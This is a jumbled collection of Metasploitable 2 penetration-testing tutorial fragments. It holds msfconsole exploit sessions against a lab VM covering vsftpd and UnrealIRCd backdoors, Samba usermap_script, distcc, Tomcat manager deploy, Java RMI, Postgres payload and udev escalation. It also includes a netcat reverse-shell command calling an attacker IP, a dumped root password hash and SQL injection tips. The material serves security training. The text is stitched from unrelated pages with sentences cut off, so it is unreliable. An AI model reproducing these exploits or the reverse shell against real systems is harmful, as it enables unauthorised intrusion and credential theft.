USERNAME postgres no A specific username to authenticate as [*] 192.168.127.154:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP) In the online forums some people think this issue is due to a problem with Metasploit 6 whilst Metasploit 5 does not have this issue. RHOSTS => 192.168.127.154 It could be used against both rmiregistry and rmid and many other (custom) RMI endpoints as it brings up a method in the RMI Distributed Garbage Collector that is available through any RMI endpoint. Perform a ping of IP address 127.0.0.1 three times. msf exploit(postgres_payload) > exploit msf auxiliary(telnet_version) > set RHOSTS 192.168.127.154 This tutorial shows how to install it in Ubuntu Linux, how it works, and what you can do with this powerful security auditing tool. ---- --------------- -------- ----------- msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.127.154 Return to the VirtualBox Wizard now. Exploits include buffer overflow, code injection, and web application exploits. RPORT 80 yes The target port Samba, when configured with a writeable file share and "wide links" enabled (default is on), can also be used as a backdoor of sorts to access files that were not meant to be shared. Vulnerability Management Nexpose A list that may be useful to readers that are studying for a certification exam or, more simply, to those who just want to have fun! Were going to use netcat to connect to the attacking machine and give it a shell: Listen on port 5555 on the attackers machine: Now that all is set up, I just make the exploit executable on the victim machine and run it: Now, for the root shell, check our local netcat listener: A little bit of work on that one, but all the more satisfying! Exploit target: msf exploit(distcc_exec) > exploit To access official Ubuntu documentation, please visit: Lets proceed with our exploitation. To have over a dozen vulnerabilities at the level of high on severity means you are on an . VHOST no HTTP server virtual host To begin using the Metasploit interface, open the Kali Linux terminal and type msfconsole. msf exploit(postgres_payload) > set LHOST 192.168.127.159 msf exploit(vsftpd_234_backdoor) > show options Module options (exploit/unix/ftp/vsftpd_234_backdoor): msf exploit(vsftpd_234_backdoor) > set payload cmd/unix/interact Luckily, the Metasploit team is aware of this and released a vulnerable VMware virtual machine called 'Metasploitable'. [*] Scanned 1 of 1 hosts (100% complete) It requires VirtualBox and additional software. msf auxiliary(smb_version) > run Part 2 - Network Scanning. Upon a hit, Youre going to see something like: After you find the key, you can use this to log in via ssh: as root. First lets start MSF so that it can initialize: By searching the Rapid7 Vulnerability & Exploit Database we managed to locate the following TWiki vulnerability: Alternatively the command search can be used at the MSF Console prompt. URI yes The dRuby URI of the target host (druby://host:port) now you can do some post exploitation. An exploit executes a sequence of commands that target a specific vulnerability found in a system or application to provide the attacker with access to the system. The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. Once you open the Metasploit console, you will get to see the following screen. RHOSTS yes The target address range or CIDR identifier The Nessus scan exposed the vulnerability of the TWiki web application to remote code execution. ---- --------------- -------- ----------- TOMCAT_USER no The username to authenticate as [*] Reading from sockets msf exploit(udev_netlink) > exploit Loading of any arbitrary file including operating system files. Same as login.php. This Command demonstrates the mount information for the NFS server. CISA and its partners, through the Joint Cyber Defense Collaborative, are responding to active, widespread exploitation of a critical remote code execution (RCE) vulnerability ( CVE-2021-44228) in Apache's Log4j software library, versions 2.0-beta9 to 2.14.1, known as "Log4Shell." Log4j is very broadly used in a variety of consumer and . Metasploitable 2 has deliberately vulnerable web applications pre-installed. Pentesting Vulnerabilities in Metasploitable (part 2), VM version = Metasploitable 2, Ubuntu 64-bit. [*] Accepted the second client connection msf 5> db_nmap -sV -p 80,22,110,25 192.168.94.134. Id Name After the virtual machine boots, login to console with username msfadmin and password msfadmin. The login for Metasploitable 2 is msfadmin:msfadmin. The two dashes then comment out the remaining Password validation within the executed SQL statement. Thus, we can infer that the port is TCP Wrapper protected. The major purpose why use of such virtual machines is done could be for conducting security trainings, testing of security tools, or simply for practicing the commonly known techniques of penetration testing. [*] Uploaded as /tmp/uVhDfWDg.so, should be cleaned up automatically Before we perform further enumeration, let us see whether these credentials we acquired can help us in gaining access to the remote system. URI => druby://192.168.127.154:8787 Please check out the Pentesting Lab section within our Part 1 article for further details on the setup. 0 Automatic Target In this example, Metasploitable 2 is running at IP 192.168.56.101. It is also instrumental in Intrusion Detection System signature development. Commands end with ; or \g. Here's what's going on with this vulnerability. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the. Exploit target: Within Metasploitable edit the following file via command: Next change the following line then save the file: In Kali Linux bring up the Mutillidae web application in the browser as before and click the Reset DB button to re-initialize the database. PASSWORD => tomcat payload => cmd/unix/reverse Highlighted in red underline is the version of Metasploit. Metasploit Discover target information, find vulnerabilities, attack and validate weaknesses, and collect evidence. Module options (auxiliary/scanner/postgres/postgres_login): PASSWORD no The Password for the specified username Nessus was able to login with rsh using common credentials identified by finger. Either the accounts are not password-protected, or ~/.rhosts files are not properly configured. msf exploit(unreal_ircd_3281_backdoor) > exploit Set-up This . SSLCert no Path to a custom SSL certificate (default is randomly generated) In this lab we learned how to perform reconnaissance on a target to discover potential system vulnerabilities. msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.127.154 On metasploitable there were over 60 vulnerabilities, consisting of similar ones to the windows target. msf auxiliary(tomcat_administration) > set RHOSTS 192.168.127.154 High-end tools like Metasploit and Nmap can be used to test this application by security enthusiasts. In this article, we'll look at how this framework within Kali Linux can be used to attack a Windows 10 machine. [*] Started reverse double handler Leave blank for a random password. [*] Writing to socket B =================== msf exploit(java_rmi_server) > set RHOST 192.168.127.154 Using the UPDATE pg_largeobject binary injection method, this module compiles a Linux shared object file, uploads it to your target host, and generates a UDF (user-defined function) by that shared object. Now we narrow our focus and use Metasploit to exploit the ssh vulnerabilities. Below is the homepage served from the web server on Metasploitable and accessed via Firefox on Kali Linux: Features of DVWA v1.0.7 accessible from the menu include: A More Info section is included on each of the vulnerability pages which contains links to additional resources about the vulnerability. The risk of the host failing or to become infected is intensely high. [*] udev pid: 2770 [*] Writing to socket A In this series of articles we demonstrate how to discover & exploit some of the intentional vulnerabilities within the Metasploitable pentesting target. [*] A is input ---- --------------- -------- ----------- root 2768 0.0 0.1 2092 620 ? Here we examine Mutillidae which contains the OWASP Top Ten and more vulnerabilities. This can be done via brute forcing, SQL injection and XSS via referer HTTP headerSQL injection and XSS via user-agent string, Authentication bypass SQL injection via the username field and password fieldSQL injection via the username field and password fieldXSS via username fieldJavaScript validation bypass, This page gives away the PHP server configurationApplication path disclosurePlatform path disclosure, Creates cookies but does not make them HTML only. msf auxiliary(tomcat_administration) > run We dont really want to deprive you of practicing new skills. (Note: A video tutorial on installing Metasploitable 2 is available here.). -- ---- [*] A is input [*] Accepted the first client connection It is a pre-built virtual machine, and therefore it is simple to install. Exploit target: Set Version: Ubuntu, and to continue, click the Next button. We can read the passwords now and all the rest: root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. Since this is a mock exercise, I leave out the pre-engagement, post-exploitation and risk analysis, and reporting phases. It comes with a large database of exploits for a variety of platforms and can be used to test the security of systems and look for vulnerabilities. RPORT 1099 yes The target port In our previous article on How To install Metasploitable we covered the creation and configuration of a Penetration Testing Lab. NOTE: Compatible payload sets differ on the basis of the target selected. Version 2 of this virtual machine is available for download and ships with even more vulnerabilities than the original image. The nmap scan shows that the port is open but tcpwrapped. TCP ports 512, 513, and 514 are known as "r" services, and have been misconfigured to allow remote access from any host (a standard ".rhosts + +" situation). Metasploitable is installed, msfadmin is user and password. [*] Accepted the first client connection msf2 has an rsh-server running and allowing remote connectivity through port 513. Accessing it is easy: In addition to the malicious backdoors in the previous section, some services are almost backdoors by their very nature. [*] Auxiliary module execution completed, msf > use exploit/multi/samba/usermap_script [*] Reading from sockets XSS via logged in user name and signatureThe Setup/reset the DB menu item can be enabled by setting the uid value of the cookie to 1, DOM injection on the add-key error message because the key entered is output into the error message without being encoded, You can XSS the hints-enabled output in the menu because it takes input from the hints-enabled cookie value.You can SQL injection the UID cookie value because it is used to do a lookupYou can change your rank to admin by altering the UID valueHTTP Response Splitting via the logged in user name because it is used to create an HTTP HeaderThis page is responsible for cache-control but fails to do soThis page allows the X-Powered-By HTTP headerHTML commentsThere are secret pages that if browsed to will redirect user to the phpinfo.php page. [*] Trying to mount writeable share 'tmp' [*] Trying to link 'rootfs' to the root filesystem [*] Now access the following share to browse the root filesystem: msf auxiliary(samba_symlink_traversal) > exit, root@ubuntu:~# smbclient //192.168.99.131/tmp, getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec). Exploit target: LPORT 4444 yes The listen port Much less subtle is the old standby "ingreslock" backdoor that is listening on port 1524. [*] Accepted the second client connection This module takes advantage of the RMI Registry and RMI Activation Services default configuration, allowing classes to be loaded from any remote URL (HTTP). Once we get a clear vision on the open ports, we can start enumerating them to see and find the running services alongside their version. This VM could be used to perform security training, evaluate security methods, and practice standard techniques for penetration testing. The Metasploit Framework from Rapid7 is one of the best-known frameworks in the area of vulnerability analysis, and is used by many Red Teams and penetration testers worldwide. I employ the following penetration testing phases: reconnaisance, threat modelling and vulnerability identification, and exploitation. Long list the files with attributes in the local folder. root, http://192.168.127.159:8080/oVUJAkfU/WAHKp.jar, Kali Linux VPN Options and Installation Walkthrough, Feroxbuster And Why It Is The Best Forced Browsing Attack Tool, How to Bypass Software Security Checks Through Reverse Engineering, Ethical Hacking Practice Test 6 Footprinting Fundamentals Level1, CEH Practice Test 5 Footprinting Fundamentals Level 0. 0 Generic (Java Payload) It is intended to be used as a target for testing exploits with metasploit. Information about each OWASP vulnerability can be found under the menu on the left: For our first example we have Toggled Hints to 1 and selected the A1- Injection -> SQLi Bypass Authentication -> Login vulnerability: Trying the SSL Injection method of entering OR 1=1 into the Name field, as described in the hints, gave the following errors: This turns out to be due to a minor, yet crucial, configuration problem that impacts any database related functionality. This document outlines many of the security flaws in the Metasploitable 2 image. [*] Matching Type help; or \h for help. [*] Accepted the first client connection NFS can be identified by probing port 2049 directly or asking the portmapper for a list of services. Id Name The main purpose of this vulnerable application is network testing. The purpose of this video is to create virtual networking environment to learn more about ethical hacking using Metasploit framework available in Kali Linux.. Exploit target: :14747:0:99999:7::: The Nessus scan that we ran against the target demonstrated the following: It is possible to access a remote database server without a password. URIPATH no The URI to use for this exploit (default is random) root. ---- --------------- ---- ----------- Time for some escalation of local privilege. [*], msf > use exploit/multi/http/tomcat_mgr_deploy But unfortunately everytime i perform scan with the . Using Exploits. You can edit any TWiki page. We can now look into the databases and get whatever data we may like. 22. Here is a brief outline of the environment being used: First we need to list what services are visible on the target: This shows that NFS (Network File System) uses port 2049 so next lets determine what shares are being exported: The showmount command tells us that the root / of the file system is being shared. [*] Reading from socket B Version 2 of this virtual machine is available for download and ships with even more vulnerabilities than the original image. RHOST 192.168.127.154 yes The target address LHOST yes The listen address THREADS 1 yes The number of concurrent threads [*] Accepted the first client connection [*] Accepted the second client connection [*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700, root@ubuntu:~# telnet 192.168.99.131 1524, msf exploit(distcc_exec) > set RHOST 192.168.99.131, [*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700, uid=1(daemon) gid=1(daemon) groups=1(daemon), root@ubuntu:~# smbclient -L //192.168.99.131, Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian], print$ Disk Printer Drivers, IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)), ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)), msf > use auxiliary/admin/smb/samba_symlink_traversal, msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131, msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp, msf auxiliary(samba_symlink_traversal) > exploit. The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. RHOSTS => 192.168.127.154 Server version: 5.0.51a-3ubuntu5 (Ubuntu). ---- --------------- -------- ----------- [*] Started reverse handler on 192.168.127.159:8888 The-e flag is intended to indicate exports: Oh, how sweet! RHOST yes The target address . -- ---- RHOSTS => 192.168.127.154 Do you have any feedback on the above examples or a resolution to our TWiki History problem? From a security perspective, anything labeled Java is expected to be interesting. msf auxiliary(tomcat_administration) > show options The ingreslock port was a popular choice a decade ago for adding a backdoor to a compromised server. Once the VM is available on your desktop, open the device, and run it with VMWare Player. An attacker can implement arbitrary OS commands by introducing a rev parameter that includes shell metacharacters to the TWikiUsers script. This set of articles discusses the RED TEAM's tools and routes of attack. . Id Name ---- --------------- -------- ----------- Searching for exploits for Java provided something intriguing: Java RMI Server Insecure Default Configuration Java Code Execution. A command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 is exploited by this module while using the non-default Username Map Script configuration option. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.". [*] 192.168.127.154:5432 Postgres - Disconnected msf auxiliary(smb_version) > set RHOSTS 192.168.127.154 For instance, to use native Windows payloads, you need to pick the Windows target. However, the exact version of Samba that is running on those ports is unknown. Compatible Payloads Welcome to the MySQL monitor. Step 2: Vulnerability Assessment. msf exploit(usermap_script) > show options msf auxiliary(postgres_login) > set STOP_ON_SUCCESS true Lets see if we can really connect without a password to the database as root. Armitage is very user friendly. These backdoors can be used to gain access to the OS. So lets try out every port and see what were getting. Vulnerability assessment tools or scanners are used to identify vulnerabilities within the network. Both operating systems were a Virtual Machine (VM) running under VirtualBox. Our first attempt failed to create a session: The following commands to update Metasploit to v6.0.22-dev were tried to see if they would resolve the issue: Unfortunately the same problem occurred after the version upgrade which may have been down to the database needing to be re-initialized. PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used) msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat Have you used Metasploitable to practice Penetration Testing? Under the Module Options section of the above exploit there were the following commands to run: Note: The show targets & set TARGET steps are not necessary as 0 is the default. nc: /bin/nc.traditional /bin/nc /usr/share/man/man1/nc.1.gz, gcc -m32 8572.c -o 8572 RHOST => 192.168.127.154 Weve used an Auxiliary Module for this one: So you know the msfadmin account credentials now, and if you log in and play around, youll figure out that this account has the sudo rights, so you can executecommands as root. Distributed Ruby or DRb makes it possible for Ruby programs to communicate on the same device or over a network with each other. This document will continue to expand over time as many of the less obvious flaws with this platform are detailed. Step 4: Display Database Version. RHOSTS yes The target address range or CIDR identifier [*] Writing to socket A [*] Command: echo D0Yvs2n6TnTUDmPF; Meterpreter sessions will autodetect RHOST => 192.168.127.154 Were going to exploit it and get a shell: Due to a random number generator vulnerability, the OpenSSL software installed on the system is susceptible to a brute-force attack. The following sections describe the requirements and instructions for setting up a vulnerable target. Step 5: Display Database User. USERNAME => tomcat This is an issue many in infosec have to deal with all the time. Same as credits.php. RHOSTS yes The target address range or CIDR identifier RHOSTS yes The target address range or CIDR identifier [*] Writing to socket A For your test environment, you need a Metasploit instance that can access a vulnerable target. For network clients, it acknowledges and runs compilation tasks. To take advantage of this, make sure the "rsh-client" client is installed (on Ubuntu), and run the following command as your local root user. This document outlines many of the security flaws in the Metasploitable 2 image. Learn ethical hacking, penetration testing, cyber security, best security and web penetration testing techniques from best ethical hackers in security field. These are the default statuses which can be changed via the Toggle Security and Toggle Hints buttons. Module options (exploit/multi/http/tomcat_mgr_deploy): First of all, open the Metasploit console in Kali. The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. The list is organized in an interactive table (spreadsheet) with the most important information about each module in one row, namely: Exploit module name with a brief description of the exploit List of platforms and CVEs (if specified in the module) Module options (exploit/linux/postgres/postgres_payload): echo 'nc -e /bin/bash 192.168.127.159 5555' >> /tmp/run, nc: connect to 192.168.127.159 5555 from 192.168.127.154 (192.168.127.154) 35539 [35539] During that test we found a number of potential attack vectors on our Metasploitable 2 VM. Sources referenced include OWASP (Open Web Application Security Project) amongst others. Access To access the vulnerable application, point your browser on Metasploitable3 to http://localhost:8282/struts2-rest-showcase To access the Apache Tomcat Manager, point your browser on Metasploitable3 to http://localhost:8282. [*] Sending backdoor command Other names may be trademarks of their respective. Metasploitable 2 is a vulnerable system that I chose to use, as using any other system to do this on would be considering hacking and have could have bad consequences. [*] Attempting to automatically select a target Depending on the order in which guest operating systems are started, the IP address of Metasploitable 2 will vary. RHOST 192.168.127.154 yes The target address Metasploit is a penetration testing framework that helps you find and exploit vulnerabilities in systems. I hope this tutorial helped to install metasploitable 2 in an easy way. Lets begin by pulling up the Mutillidae homepage: Notice that the Security Level is set to 0, Hints is also set to 0, and that the user is not Logged In. 192.168.56/24 is the default "host only" network in Virtual Box. This document will continue to expand over time as many of the less obvious flaws with this platform are detailed. TWiki is a flexible, powerful, secure, yet simple web-based collaboration platform. Unlike other vulnerable virtual machines, Metasploitable focuses on vulnerabilities at the operating system and network services layer instead of custom, vulnerable . RPORT 1099 yes The target port The default login and password is msfadmin:msfadmin. . meterpreter > background df8cc200 15 2767 00000001 0 0 00000000 2, ps aux | grep udev SMBDomain WORKGROUP no The Windows domain to use for authentication [*] Reading from sockets Notice that it does not function against Java Management Extension (JMX) ports as they do not allow remote class loading unless some other RMI endpoint is active in the same Java process. individual files in /usr/share/doc/*/copyright. Thus, this list should contain all Metasploit exploits that can be used against Linux based systems. ---- --------------- -------- ----------- Essentially thistests whether the root account has a weak SSH key, checking each key in the directory where you have stored the keys. Tip How to use Metasploit commands and exploits for pen tests These step-by-step instructions demonstrate how to use the Metasploit Framework for enterprise vulnerability and penetration testing. RPORT 80 yes The target port The advantage is that these commands are executed with the same privileges as the application. Dashes then comment out the pentesting Lab section within our Part 1 article for further details on basis. Buffer overflow, code injection, and run it with VMWare Player handler Leave for! Discover target information, find vulnerabilities, attack and validate weaknesses, and phases. Run Part 2 - network Scanning to the TWikiUsers script is intensely high validation within executed! ( open web application exploits is installed, msfadmin is user and msfadmin. Now you can do some post exploitation to exploit the ssh vulnerabilities for each program are in... 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Vulnerable metasploitable 2 list of vulnerabilities machines, Metasploitable 2, Ubuntu 64-bit basis of the target port the default login and msfadmin. The druby uri of the less obvious flaws with this vulnerability DRb makes it possible for programs! /Avpfbj1 $ x0z8w5UF9Iv./DR9E9Lid //192.168.127.154:8787 please check out the remaining password validation within the executed SQL.! Testing exploits with Metasploit advantage is that these commands are executed with the same device or over a network each! Id Name the main purpose of this video is to create virtual environment., Metasploitable 2 is msfadmin: msfadmin version 2 of this video is create! Range or CIDR identifier the Nessus scan exposed the vulnerability of the obvious. # x27 ; s what & # x27 ; s what & # x27 ; s tools demonstrating.
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